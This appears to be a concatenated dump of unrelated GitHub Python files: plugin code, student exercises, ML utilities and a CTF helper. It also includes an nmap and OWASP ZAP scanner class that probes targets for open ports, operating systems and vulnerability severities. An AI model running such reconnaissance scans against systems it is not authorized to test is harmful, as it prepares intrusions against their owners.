self.jcView.selectedIndexes():\n rows.append(index.row())\n rows.sort(reverse=True)\n for row in rows:\n self.jcView.model().removeRow(row, self.jcView.rootIndex())\n\n self.jcView.model().select()\n \n \n \n#sets ch of sec_ch widget to minimum chainage of selected rows of jcView\n def setCh(self):\n self.secChTool.set_ch(min([i.sibling(i.row(),1).data() for i in self.jcView.selectedIndexes()]))\n \n\n def layer_set(self):\n layer=self.layer_box.currentLayer().name()\n QSettings('pts', 'site_cats').setValue('layer',layer)\n\n\n def refresh_layer(self):\n layer=self.op_combobox.currentLayer()\n layer.dataProvider().forceReload()\n layer.triggerRepaint()\n\n\n def setupDatabase(self):\n msgBox=QMessageBox();\n msgBox.setText(\"Perform first time database setup?\")\n # msgBox.setInformativeText(\"Continue?\")\n msgBox.setStandardButtons(QMessageBox.Yes | QMessageBox.No)\n msgBox.setDefaultButton(QMessageBox.No)\n i = msgBox.exec_()\n \n if i==QMessageBox.Yes:\n folder = os.path.join(os.path.dirname(__file__),'database')\n file = os.path.join(folder,'setup.txt')\n \n with self.connectDialog.getCon() as con:\n databaseFunctions.runSetupFile(cur=con.cursor(),file=file,printCom=True,recursive=False)\n \n iface.messageBar().pushMessage(\"site_categoriser: prepared database\",duration=4)\n\n\n#for requested view\n def initJcMenu(self):\n self.jc_menu = QMenu()\n drop_act = self.jc_menu.addAction('drop selected rows')\n drop_act.triggered.connect(self.remove)\n\n setChAct = self.jc_menu.addAction('set chainage from selected rows.')\n setChAct.triggered.connect(self.setCh)\n\n self.jcView.setContextMenuPolicy(Qt.CustomContextMenu);\n #self.jcView.customContextMenuRequested.connect(lambda pt:self.jc_menu.exec_(self.mapToGlobal(pt)))\n self.jcView.customContextMenuRequested.connect(lambda pt:self.jc_menu.exec_(self.jcView.mapToGlobal(pt)))\n","repo_name":"Drew973/pts_site_categorizer","sub_path":"site_categorizer_dockwidget.py","file_name":"site_categorizer_dockwidget.py","file_ext":"py","file_size_in_byte":8627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35180582969","text":"# Saulo Justiniano\n# Unifip - Patos-PB\n# 16 de Março de 2020\n\n'''\n8 - Faça um programa que pergunte o preço de três produtos e informe qual produto\n você deve comprar, sabendo que a decisão é sempre pelo mais barato.\n'''\n\npre1 = float(input('Informe o valor de um produto: R$'))\npre2 = float(input('Informe o valor de outro pruduto: R$'))\npre3 = float(input('Informe o valor de mais um pruduto: R$'))\n\nif pre1 == pre2 and pre1 < pre3:\n print(f'Você pode comprar o Produto 1 ou Produto 2, pois ambos custam {pre1:.2f}.')\n exit()\nif pre1 == pre3 and pre1 < pre2:\n print(f'Você pode comprar o Produto 1 ou Produto 3, pois ambos custam {pre1:.2f}.')\n exit()\nif pre2 == pre3 and pre2 < pre1:\n print(f'Você pode comprar o Produto 2 ou Produto 3, pois ambos custam {pre2:.2f}.')\n exit()\nif pre1 == pre2 == pre3:\n print(f'Você pode comprar o Produto 1 , 2 , 3. pois ambos custam {pre1:.2f}')\n exit()\n\nif pre1 < pre2 and pre1 < pre3: \n print(f'Você deve comprar o 1 pruduto, ele é o mas barato e custa {pre1:.2f}')\nelif pre2 < pre1 and pre2 < pre3:\n print(f'Você deve comprar o 2 pruduto, ele é o mas barato e custa {pre2:.2f}')\nelif pre3 < pre1 and pre3 < pre2:\n print(f'Você deve comprar o 3 pruduto, ele é o mas barato e custa {pre3:.2f}')\n","repo_name":"SauloJustiniano/Prog1ads","sub_path":"Exercicíos/Lista 3 - Estrutura de Decisão 1/L3.E8 - Preços dos Prod (menor).py","file_name":"L3.E8 - Preços dos Prod (menor).py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28078644027","text":"#!/usr/bin/env python3\nimport graph_parser\nimport argparse\nfrom timeit import default_timer as timer\nimport glouton\nimport branch_and_bound\nimport tabou\n\nif __name__ == \"__main__\":\n\n # Parse arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-a\", \"--algorithm\", required=True, type=str,\n help=\"Represente l'algorithme a utiliser pour la multiplication de matrice\")\n parser.add_argument(\"-e\", \"--path_ex\", required=True, type=str,\n help=\"Represente le chemin vers le fichier contenant lexemplaire\")\n parser.add_argument(\"-p\", \"--show_result\", required=False, default=False, action='store_true',\n help=\"Represente s'il faut afficher le nombre et les couleurs\")\n parser.add_argument(\"-t\", \"--show_time\", required=False, default=False, action='store_true',\n help=\"Represente s'il faut afficher le temps d'execution\")\n args = parser.parse_args()\n\n # Parameters\n algorithm = args.algorithm\n path_graph = args.path_ex\n show_result = args.show_result\n show_time = args.show_time\n\n #Constructing the matrices\n graph_parser.parse(path_graph)\n\n if show_time:\n start = timer()\n\n if algorithm == \"glouton\":\n result = glouton.find_colors(graph_parser.graph)\n elif algorithm == \"branch_bound\":\n result = branch_and_bound.find_colors(graph_parser.graph)\n elif algorithm == \"tabou\":\n result = tabou.find_colors(graph_parser.graph)\n else:\n quit(\"L'algorithme en parametre n'est pas valide.\")\n\n if show_result:\n print(max(result)+1)\n print(*result)\n\n if show_time:\n end = timer()\n print(1000*(end - start))\n","repo_name":"ytoubal/INF8775-TPs","sub_path":"TP2-A21/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"552175144","text":"mem = [0 for i in range(18 * 9)]\n\nsi = 0x50\nfor i in range(9):\n dl = int(input()[0:2], 16)\n for j in range(4):\n if dl & 1 == 0 and si != 0 and si % 0x12 != 0:\n si -= 1\n elif dl & 1 == 1 and si % 0x12 != 0x10:\n si += 1\n if dl & 2 == 0 and si > 0x11:\n si -= 0x12\n elif dl & 2 == 2 and si < 0x8f:\n si += 0x12\n dl >>= 2\n mem[si] += 1\n\ndi = si # di = 33\nsi = 0\nlabel = \" p4{krule_ctf}\"\nfor i in range(0xa1):\n if mem[si] > 0x0D:\n bl = 0x5e\n else:\n bl = ord(label[mem[si]])\n mem[si] = bl\n si += 1\n\nmem[di] = 0x45\nmem[0x50] = 0x53\n\nsi = 0\nfor i in range(8):\n si += 0x11\n mem[si] = 0x0a\n si += 1\nsi += 0x11\nmem[si] = 0x24\nprint(mem)\nprint(''.join(list(map(chr, mem))))\nsi = 0\n","repo_name":"gaoxiaodiao/CyberSakura","sub_path":"Gathered CTF writeups/ptr-yudai-writeups/2019/Teaser_CONFidence_2019_CTF/oldschool/enc.py","file_name":"enc.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"15961552312","text":"'''\nSearch Director is in charge of keep the best accuracy and models\nAs well as evaluating model performances(train them and take validation accuracy)\n'''\nfrom __future__ import print_function\nfrom Model import CNN_Model\nfrom Transformations import CNN_transformation\nfrom Architecture_Embedding import CNNarch_Embedding\nfrom Training import CNN_Training\nfrom keras import backend as K \nimport tensorflow as tf\n\nimport numpy as np\nimport copy\nimport pickle\n\n \nclass search_director:\n\n #note that starting_model and top_model will be CNN_Model parameters not objects\n def __init__(self, N_workers, lr, epoch_limit, discrete_levels, batch_size,\n patience=20, data_augmentation=False):\n self.N_workers = N_workers\n self.lr = lr\n self.epoch_limit = epoch_limit\n self.discrete_levels = discrete_levels\n self.data_augmentation = data_augmentation\n #shouldn't really use patience in this scenario\n self.patience = patience\n self.starting_model = None\n self.starting_accu = 0.0\n self.top_model = None\n self.top_accu = 0.0\n self.dataset = None\n self.output_dim = 2\n self.batch_size = batch_size\n\n '''\n Must update search parameters for each step\n '''\n def update_step_params(self, starting_model, starting_accu, dataset, output_dim, valMemory=None, memoryBuffer=None):\n self.starting_model = starting_model\n self.starting_accu = starting_accu\n self.top_model = starting_model\n self.top_accu = starting_accu\n self.dataset = dataset\n self.valMemory = valMemory\n self.memoryBuffer = memoryBuffer\n self.output_dim = output_dim\n\n '''\n execute the search process\n instructions for model expansions need to be imported\n each instruction corresponds to a new model configuration\n will report top models and output the best one\n '''\n def search_step(self, instructions, starting_model, starting_accu, dataset, output_dim, RAS=False, valMemory=None, memoryBuffer=None):\n \n self.update_step_params(starting_model, starting_accu, dataset, output_dim, valMemory=valMemory, memoryBuffer=memoryBuffer)\n memory = False\n if (self.memoryBuffer is not None):\n memory = True\n \n\n val_accus = [0] * len(instructions)\n #evaluate each sampled model sequentially (for now)\n for i in range(len(instructions)):\n candidate = self.model_evaluation(instructions[i], index=i, memory=memory)\n accuracy = candidate['accuracy']\n val_accus[i] = accuracy\n architecture = candidate['params']['architecture']\n arch_str = CNNarch_Embedding.get_net_str(architecture)\n print (\"for architecture \" + str(i) + \" : \")\n print (\"has parametrs : \" + str(candidate['params']['numParams']))\n print(*arch_str.split('_'), sep = \"\\n\") \n print (\" achieved validation accuracy of \" + str(accuracy))\n\n if(accuracy > self.top_accu):\n self.top_accu = accuracy\n self.top_model = candidate['params']\n\n print(\"Search Completed\")\n Expand = self.expansion_decider(val_accus, starting_accu)\n if (RAS):\n Expand = True #always expand if it is RAS\n\n if (Expand):\n print(\"best candidate has the following architecture\")\n print(\"has parameters : \" + str(self.top_model['numParams']))\n arch_str = CNNarch_Embedding.get_net_str(self.top_model['architecture'])\n print(*arch_str.split('_'), sep = \"\\n\") \n print (\"best model achieved validation accuracy of \" + str(self.top_accu))\n else:\n print (\"No expansion for current step\")\n self.top_model = starting_model\n self.top_accu = starting_accu\n return ({'accuracy':self.top_accu,'params':self.top_model}, val_accus)\n \n\n '''\n train a model for a few epochs to evaluate its performance\n '''\n def model_evaluation(self, instruction, index=0, memory=False): \n max_accuracy = 0\n output_params = 0\n print (\"running the following instruction\")\n print (instruction)\n\n net = CNN_Model.CNN_Model(str(index))\n net.param_import(self.starting_model)\n architecture = net.architecture\n\n WiderInstructions = instruction['Wider']\n DeeperInstructions = instruction['Deeper']\n\n if(DeeperInstructions):\n #execute DeeperNet first\n for i in range(len(DeeperInstructions)):\n net = CNN_transformation.Net2DeeperNet(net, DeeperInstructions[i])\n\n if(WiderInstructions):\n for i in range(len(WiderInstructions)):\n #weights discount max pooling layer and flatten layer \n curr_width = architecture[WiderInstructions[i]].size[-1]\n #its a conv layer, increase to next discrete level \n if(architecture[WiderInstructions[i]].Ltype == 'conv'):\n index = self.discrete_levels.index(curr_width)\n if(index < (len(self.discrete_levels)-1)):\n next_width = self.discrete_levels[index+1]\n else:\n next_width = self.discrete_levels[index]\n net = CNN_transformation.Net2WiderNet(net, WiderInstructions[i], next_width)\n \n #its a dense layer, also increase its capacity to the next discrete level\n if(architecture[WiderInstructions[i]].Ltype == 'fc'):\n index = self.discrete_levels.index(curr_width)\n if(index < (len(self.discrete_levels)-1)):\n next_width = self.discrete_levels[index+1]\n else:\n next_width = self.discrete_levels[index]\n net = CNN_transformation.Net2WiderNet(net, WiderInstructions[i], next_width)\n\n '''\n Do not run the model if there is no expansion \n '''\n if(len(DeeperInstructions) == 0 and len(WiderInstructions) == 0):\n accuracy = self.starting_accu\n\n else:\n\n if (memory):\n\n '''\n using tiny episodic memory\n '''\n\n (score, net) = CNN_Training.episodic_train(net, self.dataset, self.valMemory, self.memoryBuffer, output_dim=self.output_dim,\n lr=self.lr, batch_size=self.batch_size, epochs=self.epoch_limit, patience=self.patience,\n verbose=False, test=False, log_path=\"none\", \n baseline=False, upload=True, class_curve=False, \n save=False, data_augmentation=False, tensorBoard=False)\n accuracy = score[1]\n else:\n '''\n for the full rehearsal\n '''\n (score, net) = CNN_Training.execute(net, self.dataset, self.output_dim,\n lr=self.lr, epochs=self.epoch_limit, batch_size=32,\n verbose=False, patience=self.patience,\n test=False, log_path=\"none\", baseline=False,\n upload=True, class_curve=False, save=False, data_augmentation=self.data_augmentation)\n accuracy = score[1]\n\n output_params = net.export()\n output = {'accuracy':accuracy,'params':output_params}\n '''\n if multiple models are trained at the same time on the same GPU, this might cause a bug\n '''\n # 5. limit gpu usage and doesn't take the entire gpu\n K.clear_session()\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n K.tensorflow_backend.set_session(tf.Session(config=config))\n return output\n\n\n '''\n a function to decide if expansion is needed, based on 2 principles (and relationship)\n 1. number of positive expansion > negative expansion\n 2. mean of all expansion > 0\n '''\n def expansion_decider(self, val_list, exist_val):\n val_list = val_list - exist_val\n PosCount = 0\n NegCount = 0\n for val in val_list:\n if val > 0:\n PosCount = PosCount + 1\n else:\n NegCount = NegCount + 1\n print (\"number of negative expansions are \" + str(NegCount))\n avg = np.mean(val_list)\n print (\"mean of all expansions are \" + str(avg))\n if (NegCount >= PosCount):\n return False\n if (avg <= 0):\n return False\n return True\n\n\n\n\n\n\n\n\n\n\n '''\n Nice Utility to have\n '''\n def Persist_Model(self, cnn_model, name):\n self.save_object(cnn_model, name + '.pkl')\n print (name + '.pkl' + 'saved to disk')\n\n def save_object(self, obj, filename):\n with open(filename, 'wb') as output:\n pickle.dump(obj, output, pickle.HIGHEST_PROTOCOL)\n\n def load_object(self, filename):\n return pickle.load( open( filename, \"rb\" ) )\n \n def set_epoch_limit(self, epoch_limit):\n self.epoch_limit = epoch_limit\n\n def set_lr(self, lr):\n self.lr = lr\n\n def set_discrete_levels(self, discrete_levels):\n self.discrete_levels = discrete_levels\n\n def print_arch(self, architecture):\n count = 0\n for layer in architecture:\n print(\"layer \" + str(count) + \" is \" + layer.Ltype)\n print(layer.size)\n count = count + 1\n\n\n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"shenyangHuang/CapacitySaturation","sub_path":"Search_Controller/search_director.py","file_name":"search_director.py","file_ext":"py","file_size_in_byte":9706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33303038290","text":"import cv2 as cv\n\n\nimg = cv.imread(\"Images/2.jpeg\")\n\ncv.imshow(\"Image\", img)\n\n# ## 1. Converting to gray scale\n# gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n# cv.imshow(\"Camera Gray\", gray)\n\n\n# ## 2. Blur\n# ## Using gaussian blur with a kernel of (3,3)\n# blur = cv.GaussianBlur(img, (3,3), cv.BORDER_DEFAULT)\n# cv.imshow(\"Blur image\", blur)\n\n\n# ## 3. Edge detector\n# canny = cv.Canny(blur, 125, 175)\n# cv.imshow(\"canny\", canny)\n\n# ## 4. Dialattion\n# dialated = cv.dilate(canny, (7, 7), iterations=3)\n# cv.imshow(\"Dialated\", dialated)\n\n# ## 4. Erode\n# eroded = cv.erode(dialated, (7, 7), iterations=3)\n# cv.imshow(\"Eroded\", eroded)\n\n# ## 5. Resize\n# resized = cv.resize(img, (300, 300)) # Add interpolation if needed\n# cv.imshow(\"Resized\", resized)\n\n## 6. Cropping\ncropped = img[150:450, 150:450]\ncv.imshow(\"Cropped\", cropped)\n\n\ncv.waitKey(0)","repo_name":"raoofnaushad/Opencv_Cheatsheet","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"12399838990","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 6 14:01:44 2023\n\n@author: maggi\n\"\"\"\n\nimport numpy as np \nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n#produces the phase plot of H' for varying values of v \n\nH_p_o = -2\nH_p_f = 2\nn_H = 1000\nH_p = np.linspace(H_p_o, H_p_f, n_H)\n\nn_v = 1000\nv_o = 0.7\nv_f = 1.2\nv = np.linspace(v_o, v_f, n_v)\nH_pp_mult = np.zeros([n_v, n_H])\n\nfor i in range (0, n_v):\n for j in range (0, n_H):\n H_pp_mult[i][j] = -5/2*np.sign(H_p[j])*np.power(abs(H_p[j]), 11/5)*(np.sign(H_p[j])*np.power(abs(H_p[j]), 1/5)/(np.sqrt(1+np.power(v[i], 10)*np.power(abs(H_p[j]), 2))) + 1)\n\n\n#colourmap plotter \n\nfig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})\nax.plot_surface(v, H_p, H_pp_mult, vmin=H_pp_mult[:][:].min(), cmap=cm.plasma)\n\nax.set(xticklabels=[],\n yticklabels=[],\n zticklabels=[], xlabel = \"v\", ylabel = \"H'\", zlabel = \"H''\")\n\nplt.show()\n\n\n\n\n#fig.colorbar(im, ax=ax, label='Interactive colorbar'","repo_name":"MaggieKou/SupraglacialStreams","sub_path":"RecessionalSchemes/RecedingPhasePlot.py","file_name":"RecedingPhasePlot.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22627245884","text":"import torch \n\ndef iou_metric(pred, y, p=0.5):\n pred_bin = pred>p\n y_bin = y.bool()\n intersection = torch.logical_and(pred_bin, y_bin)\n union = torch.logical_or(pred_bin, y_bin)\n return intersection.sum()/union.sum()\n \n ","repo_name":"dfulu/cloud-mask","sub_path":"datadrivencloud/losses/iou.py","file_name":"iou.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70061144198","text":"#!/usr/bin/python3\n\nfrom flask import Flask,current_app\nimport nmap\nimport datetime\nimport json\nimport re\n#from zapv2 import ZAPv2\nimport time\n#from app.utils.misc import lookup_ip\n\nclass Scanner():\n def __init__(self,target,arguments,include_down_hosts=False,extra_metrics=False,to_csv=False):\n self.nm = nmap.PortScanner()\n self.target = target\n self.arguments = arguments\n self.include_down_hosts = include_down_hosts\n self.extra_metrics= extra_metrics\n self.to_csv = to_csv\n self.target_list = self.nm.listscan(self.target)\n\n if not self.target_list:\n return \"Target list is empty!\"\n\n def execute(self):\n pass\n\n def port_scan(self):\n result = None\n try:\n self.nm.scan(hosts=self.target, arguments=self.arguments)\n except nmap.nmap.PortScannerError:\n app.logger.error(\"Failed scan! Check arguments and try disabling script scanning.\")\n return False\n\n# if not self.nm.all_hosts():\n# app.logger.error(\"No targets were scanned!\")\n# return False\n\n # output options\n# if self.to_csv:\n# return self.nm.csv()\n\n return self.parse_sync_to_json()\n\n def parse_sync_to_json(self):\n dataset = {\"host_data\":[],\"targets\":self.target}\n\n # collect scan metrics\n family_dict = {}\n os_dict = {}\n services_dict = {}\n ports_open_dict = {}\n\n uniq_family = 0\n uniq_os = 0\n total_ports_open = 0\n uniq_ports_open = 0\n total_services = 0\n uniq_services = 0\n\n # get overall scan details\n scan_start = datetime.datetime.strptime(self.nm.scanstats()[\"timestr\"],\"%a %b %d %H:%M:%S %Y\")\n scan_end = scan_start + datetime.timedelta(0,float(self.nm.scanstats()[\"elapsed\"]))\n dataset[\"scan_start\"] = str(scan_start)\n dataset[\"scan_end\"] = str(scan_end.replace(microsecond=0))\n\n scan_stats_keys = [\"uphosts\",\"downhosts\",\"totalhosts\"]\n for key,value in self.nm.scanstats().items():\n if key in scan_stats_keys:\n dataset[key] = int(value)\n\n elapsed = 0\n try:\n elapsed = float(round(float(self.nm.scanstats()[\"elapsed\"])/60,2))\n except:\n pass\n dataset[\"elapsed\"] = elapsed\n\n percentage_up = 0\n try:\n percentage_up = (int(self.nm.scanstats()[\"uphosts\"]) / int(self.nm.scanstats()[\"totalhosts\"]) *100)\n except:\n pass\n dataset[\"percentage_up\"] = int(round(percentage_up))\n\n # enumerate hosts in scan\n for host in self.nm.all_hosts():\n # set host information\n data = {\"port_data\":[],\"ip\":self.nm[host][\"addresses\"][\"ipv4\"],\"hostname\":self.nm[host].hostname(),\n \"state\":self.nm[host].state(),\"uptime\":None,\"last_boot\":None}\n\n # get geo-ip info\n #geo = lookup_ip(self.nm[host][\"addresses\"][\"ipv4\"])\n geo=None\n if geo: #make sure it is a global ip\n data[\"country_code\"] = geo.country_code\n data[\"country_name\"] = geo.country_name\n data[\"region_name\"] = geo.region_name\n data[\"city_name\"] = geo.city_name\n data[\"lat\"] = geo.latitude\n data[\"long\"] = geo.longitude\n\n if self.nm[host].state() == \"up\":\n if self.nm[host].get(\"uptime\"):\n data[\"uptime\"] = self.nm[host][\"uptime\"].get(\"seconds\")\n data[\"last_boot\"] = self.nm[host][\"uptime\"].get(\"lastboot\")\n\n # enumerate OS version\n indexed_osclass_keys = [\"type\",\"vendor\",\"osfamily\",\"osgen\"]\n if self.nm[host].get(\"osmatch\"):\n # get os match with highest accuracy\n likely_os = sorted(self.nm[host][\"osmatch\"],key=lambda i: int(i[\"accuracy\"]),reverse=True)[0]\n data[\"os\"] = likely_os.get(\"name\",\"unknown\")\n # add uniq os type\n if not os_dict.get(likely_os.get(\"name\",\"unknown\")):\n uniq_os += 1\n os_dict[likely_os.get(\"name\",\"unknown\")] = 1\n else:\n os_dict[likely_os.get(\"name\",\"unknown\")] += 1\n\n data[\"accuracy\"] = likely_os.get(\"accuracy\",0)\n\n # get os_class match with highest accuracy\n if likely_os.get(\"osclass\"):\n likely_osclass = sorted(likely_os[\"osclass\"],key=lambda i: int(i[\"accuracy\"]),reverse=True)[0]\n for key,value in likely_osclass.items():\n if key in indexed_osclass_keys:\n # add uniq os family type\n if key == \"osfamily\":\n if not family_dict.get(value):\n uniq_family += 1\n family_dict[value] = 1\n else:\n family_dict[value] += 1\n data[key] = value\n data[\"os_data\"] = self.nm[host][\"osmatch\"][:2] # add full os data for 2 matches\n\n # per host port metrics\n host_services_list = []\n host_ports_open_list = []\n host_ports_open = 0\n host_services = 0\n\n # get risk factor\n critical_severity = 0\n high_severity = 0\n medium_severity = 0\n\n # enumerate all protocols\n indexed_port_keys = [\"state\",\"reason\",\"name\",\"product\",\"version\",\"extrainfo\",\"conf\",\"cpe\",\"script\"]\n for proto in self.nm[host].all_protocols():\n lport = self.nm[host][proto].keys()\n for port in lport:\n temp = {}\n for key,value in self.nm[host][proto][port].items(): # iterate over all ports\n if key in indexed_port_keys:\n # add to metrics\n if key == \"state\" and value == \"open\":\n host_ports_open += 1\n host_ports_open_list.append(port)\n total_ports_open += 1\n if not ports_open_dict.get(port):\n ports_open_dict[port] = 1\n uniq_ports_open += 1\n else:\n ports_open_dict[port] += 1\n\n elif key == \"name\" and value and value != \"\":\n host_services += 1\n host_services_list.append(value)\n total_services += 1\n if not services_dict.get(value):\n services_dict[value] = 1\n uniq_services += 1\n else:\n services_dict[value] += 1\n elif key == \"script\" and value and value != \"\":\n for k,v in value.items():\n try:\n if \"Risk factor\" in v:\n temp_severity = re.findall(r'\\bRisk factor:\\s\\w+',v)[0]\n severity = temp_severity.split(\":\")[1].strip()\n if severity.lower() == \"critical\":\n critical_severity+=1\n elif severity.lower() == \"high\":\n high_severity+=1\n elif severity.lower() == \"medium\":\n medium_severity+=1\n except:\n pass\n value = json.dumps(value)\n temp[key] = value\n # finalize host data\n temp[\"port\"] = port\n temp[\"protocol\"] = proto\n data[\"port_data\"].append(temp)\n if critical_severity:\n data[\"critical_severity\"] = critical_severity\n if high_severity:\n data[\"high_severity\"] = high_severity\n if medium_severity:\n data[\"medium_severity\"] = medium_severity\n data[\"ports_open\"] = host_ports_open\n data[\"services\"] = host_services\n dataset[\"host_data\"].append(data)\n # down host\n else:\n if self.include_down_hosts:\n dataset[\"host_data\"].append(data)\n\n # insert overall metrics\n dataset[\"uniq_family\"] = uniq_family\n dataset[\"uniq_os\"] = uniq_os\n dataset[\"total_ports_open\"] = total_ports_open\n dataset[\"uniq_ports_open\"] = uniq_ports_open\n dataset[\"total_services\"] = total_services\n dataset[\"uniq_services\"] = uniq_services\n\n # insert meta data if requested\n if self.extra_metrics:\n #dataset[\"meta_family\"] = {v: k for v, k in enumerate(family_dict,1)} # DEP\n dataset[\"meta_services\"] = services_dict\n dataset[\"meta_ports\"] = ports_open_dict\n dataset[\"meta_os\"] = os_dict\n dataset[\"meta_family\"] = family_dict\n\n # return results of the scan\n return dataset\n\n def app_scan(self,target,sleep_time=2):\n data = {}\n zap = ZAPv2()\n sessionName=\"sample\"\n zap.core.new_session(name=sessionName, overwrite=True)\n\n contextIncludeURL = [self.target]\n contextName=\"sample\"\n zap.context.new_context(contextname=contextName)\n\n for url in contextIncludeURL:\n zap.context.include_in_context(contextname=contextName,\n regex=url)\n\n scanID = zap.spider.scan(target)\n while int(zap.spider.status(scanID)) < 100:\n spider_status = zap.spider.status(scanID)\n time.sleep(sleep_time)\n\n urls = zap.spider.results(scanID)\n\n total_records = int(zap.pscan.records_to_scan)\n while int(zap.pscan.records_to_scan) > 0:\n passive_status = 100 - ((int(zap.pscan.records_to_scan) / total_records) *100)\n time.sleep(sleep_time)\n\n hosts = zap.core.hosts\n alerts = zap.core.alerts()\n\n data[\"target\"] = target\n data[\"alerts\"] = alerts\n data[\"urls\"] = urls\n\n return data\n","repo_name":"bmarsh9/scan7","sub_path":"poller/utils/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":11044,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"11208583410","text":"import subprocess\nimport os\nimport re\nimport shlex\nfrom collections import OrderedDict\n\nfrom ..config import load_config\n\nfrom .Command import Command\n\n\nclass ShellCommand(Command):\n \"\"\"\n Connect to your database interactive terminal.\n\n shell\n {--c|connection=default : The connection you want to use to connect to interactive terminal}\n {--s|show=? : Display the command which will be called to connect}\n \"\"\"\n\n shell_programs = {\n \"mysql\": \"mysql\",\n \"postgres\": \"psql\",\n \"sqlite\": \"sqlite3\",\n \"mssql\": \"sqlcmd\",\n }\n\n def handle(self):\n resolver = load_config(self.option(\"config\")).DB\n connection = self.option(\"connection\")\n if connection == \"default\":\n connection = resolver.get_connection_details()[\"default\"]\n config = resolver.get_connection_information(connection)\n if not config.get(\"full_details\"):\n self.line(\n f\"Connection configuration for '{connection}' not found !\"\n )\n exit(-1)\n\n command, env = self.get_command(config)\n\n if self.option(\"show\"):\n cleaned_command = self.hide_sensitive_options(config, command)\n self.comment(cleaned_command)\n self.line(\"\")\n\n # let shlex split command in a list as it's safer\n command_args = shlex.split(command)\n try:\n subprocess.run(command_args, check=True, env=env)\n except FileNotFoundError:\n self.line(\n f\"Cannot find {config.get('full_details').get('driver')} program ! Please ensure you can call this program in your shell first.\"\n )\n exit(-1)\n except subprocess.CalledProcessError:\n self.line(f\"An error happened calling the command.\")\n exit(-1)\n\n def get_shell_program(self, connection):\n \"\"\"Get the database shell program to run.\"\"\"\n return self.shell_programs.get(connection)\n\n def get_command(self, config):\n \"\"\"Get the command to run as a string.\"\"\"\n driver = config.get(\"full_details\").get(\"driver\")\n program = self.get_shell_program(driver)\n try:\n get_driver_args = getattr(self, f\"get_{driver}_args\")\n except AttributeError:\n self.line(\n f\"Connecting with driver '{driver}' is not implemented !\"\n )\n exit(-1)\n args, options = get_driver_args(config)\n # process positional arguments\n args = \" \".join(args)\n # process optional arguments\n options = self.remove_empty_options(options)\n options_string = \" \".join(\n f\"{option} {value}\" if value else option\n for option, value in options.items()\n )\n # finally build command string\n command = program\n if args:\n command += f\" {args}\"\n if options_string:\n command += f\" {options_string}\"\n\n # prepare environment in which command will be run\n # some drivers need to define env variable such as psql for specifying password\n try:\n driver_env = getattr(self, f\"get_{driver}_env\")(config)\n except AttributeError:\n driver_env = {}\n command_env = {**os.environ.copy(), **driver_env}\n\n return command, command_env\n\n def get_mysql_args(self, config):\n \"\"\"Get command positional arguments and options for MySQL driver.\"\"\"\n args = [config.get(\"database\")]\n options = OrderedDict(\n {\n \"--host\": config.get(\"host\"),\n \"--port\": config.get(\"port\"),\n \"--user\": config.get(\"user\"),\n \"--password\": config.get(\"password\"),\n \"--default-character-set\": config.get(\"options\", {}).get(\"charset\"),\n }\n )\n return args, options\n\n def get_postgres_args(self, config):\n \"\"\"Get command positional arguments and options for PostgreSQL driver.\"\"\"\n args = [config.get(\"database\")]\n options = OrderedDict(\n {\n \"--host\": config.get(\"host\"),\n \"--port\": config.get(\"port\"),\n \"--username\": config.get(\"user\"),\n }\n )\n return args, options\n\n def get_postgres_env(self, config):\n return {\"PGPASSWORD\": config.get(\"password\")}\n\n def get_mssql_args(self, config):\n \"\"\"Get command positional arguments and options for MSSQL driver.\"\"\"\n args = []\n\n # instance of SQL Server: -S [protocol:]server[instance_name][,port]\n server = f\"tcp:{config.get('host')}\"\n if config.get(\"port\"):\n server += f\",{config.get('port')}\"\n\n trusted_connection = config.get(\"options\").get(\"trusted_connection\") == \"Yes\"\n options = OrderedDict(\n {\n \"-d\": config.get(\"database\"),\n \"-U\": config.get(\"user\"),\n \"-P\": config.get(\"password\"),\n \"-S\": server,\n \"-E\": trusted_connection,\n \"-t\": config.get(\"options\", {}).get(\"connection_timeout\"),\n }\n )\n return args, options\n\n def get_sqlite_args(self, config):\n \"\"\"Get command positional arguments and options for SQLite driver.\"\"\"\n args = [config.get(\"database\")]\n options = OrderedDict()\n return args, options\n\n def remove_empty_options(self, options):\n \"\"\"Remove empty options when value does not evaluate to True.\n Also when value is exactly 'True' we don't want True to be passed as option value but\n we want the option to be passed.\n \"\"\"\n # remove empty options and remove value when option is True\n cleaned_options = OrderedDict()\n for key, value in options.items():\n if value is True:\n cleaned_options[key] = \"\"\n elif value:\n cleaned_options[key] = value\n return cleaned_options\n\n def get_sensitive_options(self, config):\n driver = config.get(\"full_details\").get(\"driver\")\n try:\n sensitive_options = getattr(self, f\"get_{driver}_sensitive_options\")()\n except AttributeError:\n sensitive_options = []\n return sensitive_options\n\n def get_mysql_sensitive_options(self):\n return [\"--password\"]\n\n def get_mssql_sensitive_options(self):\n return [\"-P\"]\n\n def 